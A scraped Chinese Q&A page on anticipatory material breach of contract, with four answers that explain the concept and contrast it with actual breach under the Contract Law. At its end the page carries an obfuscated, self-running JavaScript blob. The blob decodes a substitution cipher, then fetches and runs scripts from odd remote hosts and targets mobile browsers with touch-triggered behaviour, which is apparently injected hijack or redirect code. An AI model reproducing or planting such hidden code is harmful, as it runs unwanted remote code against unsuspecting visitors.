如何理解“预期重大违约”?

2025-01-26 05:59:21
推荐回答(4个)
回答1:

国《合同法》上的违约行为形态有两种,即预期违约与实际违约。所谓的预期违约也称为先期违约,它是指在履行期限到来之前,一方无正当理由而明确表示其在履行期到来后将不履行合同,或者其行为表明其在履行期到来以后将不可能履行合同。《合同法》第一百零八条规定,“当事人一方明确表示或者以自己的行为表明不履行合同义务的,对方可以在履行期限届满之前要求其承担违约责任”。 而实际违约是指在履行期限到来以后,当事人不履行或不完全履行合同义务。《合同法》第一百零七条规定,当事人一方不履行合同义务或者履行合同义务不符合约定的,应当承担继续履行、采取补救措施或者赔偿损失等违约责任。这两种违约行为形态都是合同生效后的违约行为,都 应当承担违约责任。但是两者并非完全相同,是有一定区别的。而预期违约与实际违约两者的区别并非显而易见的,往往被人们所忽视。因此,分清两者的区别,对审判实践具有重大指导意义。笔者就预期违约与实际违约两者的区别略陈己见。 预期违约与实际违约主要有以下区别: 第一,违约的时间不同。预期违约是在履行期到来之前的违约,换言之,预期违约是合同履行期未届时,当事人明示或默示其中将不履行合同。由于履行期尚未到来,当事人还不必要继续履行其义务,此时一方的违约只是表现为未来将不履行义务。它只是一种违约的现实危险,它可能发展为实际违约,也可能由于违约人撤回毁约的意思表示而消失。而不像实际违约那样表现为现实的违反义务。预期违约行为侵害的是期待的债权而不是现实的债权。当然,尽管履行期限尚未到来,由于合同已经生效,任何一方从事预期违约行为也属于对合同义务的违反,因而也构成违约。而实际违约是在履行期限到来时所表现出来的明显的违约行为。也就是说在履行期限已届至时,当事人不履行合同义务或不按合同约定履行合同义务。其客观表现为现实的违反合同的义务,它侵害的是现实的债权,这种违约与实际违约相比违约程度更大,给对方当事人造成的损失也相对更大。 第二,违约形态不同。预期违约表现为对整个合同的毁弃,包括两种形态,即明示毁约和默示毁约。所谓明示毁约,是指一方当事人无正当理由,明确肯定地向另一方当事人表示他将在履行期限到来时不履行合同。其构成要件是:一是必须是一方明确肯定地向对方作出毁约的表示;二是不履行合同的主要义务;三是不履行合同的义务无正当理由。所谓默示毁约,是指在履行期到来之前,一方以自己的行为表明其将在履行期到来之后不履行合同,而另一方有足够的证据证明一方将不履行合同,也不愿意提供必要的履行担保。其构成要件是:一是一方当事人具有《合同法》第六十八条所规定的情况;二是另一方具有确凿的证据证明对方具有上述情形;三是一方不愿提供适当的履约担保。由于这两种形态都是发生在履行期到来之前的违约,因此可以看作是与实际违约相对应的一种特殊的违约形态。而实际违约的形态有拒绝履行、迟延履行、不适当履行和部分履行四种。所谓的拒绝履行,是指在合同期限到来以后,一方当事人无正当理由拒绝履行合同规定的全部义务。《合同法》第一百零七条所提及的“一方不履行合同义务”就是指拒绝履行的行为。所谓的迟延履行,是指合同当事人的履行违反了履行期限的规定。履行迟延在广义上包括债务人的给付迟延和债权人的受领迟延,狭义上仅指债务人的给付迟延。《合同法》第九十六条规定的迟延履行采纳了广义的概念,因此凡是违反履行期限的履行都可以称为迟延履行。所谓的不适当履行,是指当事人交付的标的物不符合合同规定的质量要求,也就是说履行具有瑕疵。所谓的部分履行是指合同虽然履行,但履行不符合数量的规定,或者说履行在数量上存在着不足。因此,这两种违约形态是完全不同的。 第三, 提出请求的时间不同。预期违约的非违约方如果认为,等待履行期到来再提出请求,将使其蒙受更大的损失,或者认为毁约方不可能撤回其毁约的表示,则可以根据《合同法》第一百零八条的规定,立即提出请求,要求对方在履行期到来前承担违约责任。但在某些情况下,非违约方,在履行期到来以后请求违约方承担赔偿责任,比在履行期到来前提出请求其承担此种责任对其更为有利,可以等待期限到来后提出请求。此外,非违约方相信毁约方可能会在履行期到来之前撤回其毁约的表示,从而消除毁约的状态,也可以等待履行期限到来后提出请求。而实际违约的非违约方不可能在履行期限到来前提出请求,因为在履行期限到来之前还不能说明对方会违约。因此只能在履行期限到来后,对方发生实际违约行为时,才能提出要求违约方承担违约责任。 第四,违约的责任不同。预期违约的非违约方可以在履行期限到来前行使各种违约责任的补救方式,如要求毁约方在履行期限到来时履行合同、赔偿损失、支付违约金以及解除合同等。法律赋予守约方有适当的选择补救方式的权利。如守约方可以坚持合同的效力,要求对方继续履行合同。但守约方应当要求毁约方撤回毁约的意思表示,而不能坐等履行期的到来。因为这样会容易造成损失的扩大。守约方也可以行使单方合同解除权。因为预期违约是违约方对诺言的违反,这使的守约方获得了合同的单方解除权。而且,解合同不影响要求赔偿损失的权利。这是因为接受预期违约并不等于免除违约方的责任,而只是承认预期违约的既成事实。此外,预期违约是一种违约行为,守约方要求违约方支付违约金是无可非议的,在此不作多论。而实际违约在一方拒绝履行的情况下,另一方有权要求其继续履行合同,也有权要求其承担违约金或赔偿损失责任。在履行迟延的情况下,非违约方有权要求违约方支付迟延履行的违约金,如果违约金不足以弥补非违约方所遭受的损失,非违约方还有权要求赔偿损失。在不适当履行的情况下,如果合同对责任形式和补救方式已经作出了明确规定的从其规定;没有规定或规定不明确,受害人可以根据具体情况,选择各种不同的补救方式和责任形式。在部分履行的情况下,非违约方有权要求继续履行,也有权要求违约方支付违约金,对造成损失的也有权要求赔偿损失。因此,预期违约履行前的责任和实际违约履行期到来的责任是有区别的,例如在确定预期违约的赔偿损失时,只能根据履行期前的市场价格而不能根据履行期到来时的市场价格来计算损失,并确立毁约方应赔偿的数额。在计算赔偿数额时,应当考虑到从预期违约到履行期到来,另一方可能有较长时间采取措施减少损害。如果他未采取措施减轻其应当减轻的损害,该数额应当从赔偿数额中扣除。总之,在确定预期违约的责任时,不能以履行期到来后的标准予以确定,否则将加重当事人债务的履行,使毁约方承担过重的责任。由此可以看出,后者承担的违约责任比前者要相对更大,范围也相对更广。 第五,赔偿损失的范围不同。一般来说,实际违约应当承担的是完全赔偿原则。所谓的完全赔偿原则,是指因违约方的违约使受害人遭受的全部损失都应当由违约方负责赔偿。《合同法》第一百一十三条规定,“当事人一方不履行合同义务或者履行合同义务不符合约定,给对方造成损失的,损失赔偿额应当相当于因违约所造成的损失,包括合同履行后可以获得的利益。”《合同法》这一规定采用了完全赔偿原则。完全赔偿就是要通过赔偿受害人的实际损失和可得利益的损失,从而弥补受害人遭受的全部损失,使受害人恢复到合同订立前的状态,或者恢复到合同能够得到严格履行情况下的状态。这里的实际损失是指因一方违约行为而造成相对方现实意义上的损失,且是显而易见的损失。所谓的可得利益是指合同在履行后可以实现和取得的利益。如一方急待原材料投入生产,因对方到期不交付产品使其不能按时投入生产从而获得利润。可得利益是一种未来的必须通过合同的继续履行才能实现的利益,是当事人订立合同时能够合理预见到的利益。因此,尽管它没有为当事人实际享有,但只要合同如期履行当事人就会获得。由于如果没有违约行为的发生,当事人是可以获得可得利益的,从这个意义上说,可得利益的损失与实际损失没有实质差别,它们都是因为违约所造成的损失。但赔偿可得利益损失有三种例外:一是可得利益损失指在弥补受害人遭受的全部实际损失,而并不赔偿其因从事一桩不成功的交易所蒙受的损失;二是在标的物不断波动的情况下,可得利益赔偿的最高限额应该是受害人在合同完全履行的情况下所应取得的各种利益;三是受害人有权就他依合同本来应该获得的可得利益要求赔偿,但是可得利益必须是纯利润,而不应包括为取得这些利益所支付的费用。而就预期违约来说,因其是在履行期限未到来时发生的违约行为,非违约方事先得知对方违约,他有义务依照《合同法》第一百一十九条:“当事人一方违约后,对方应当采取适当措施防止损失扩大;没有采取适当措施致使损失扩大的,不得就扩大的损失要求赔偿。”的规定,防止损失扩大。因此,预期违约一般造成的是信赖利益的损害,即因合同不能得到履行所蒙受的不利,如因信赖对方履行而支付一定的准备履行的费用,但不包括因合同履行所能获得的各种利益(如利润损失)等。

回答2:

预期违约又称先期违约,是指在合同履行期限到来之前,一方虽无正当理由但明确表示其在履行期到来后将不履行合同,或者其行为表明在履行期到来后将不可能履行合同。作为违约行为的形态之一,预期违约当然要负而重大预期违约就是导致合同目的不能实现,构成根本违约,可以行使法定解除权。

回答3:

预期重大违约-就是指合同履行的相对方已经或将要丧失履行合同义务的能力,已不可能达到合同目的。那么合同的另一方可以就此解除合同。

回答4:

情况有很多种,就是合同先履行一方在履行前已经无法履行合同义务,构成“预期重大违约”,例如公司破产等,特定的交付物已不复存在等

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();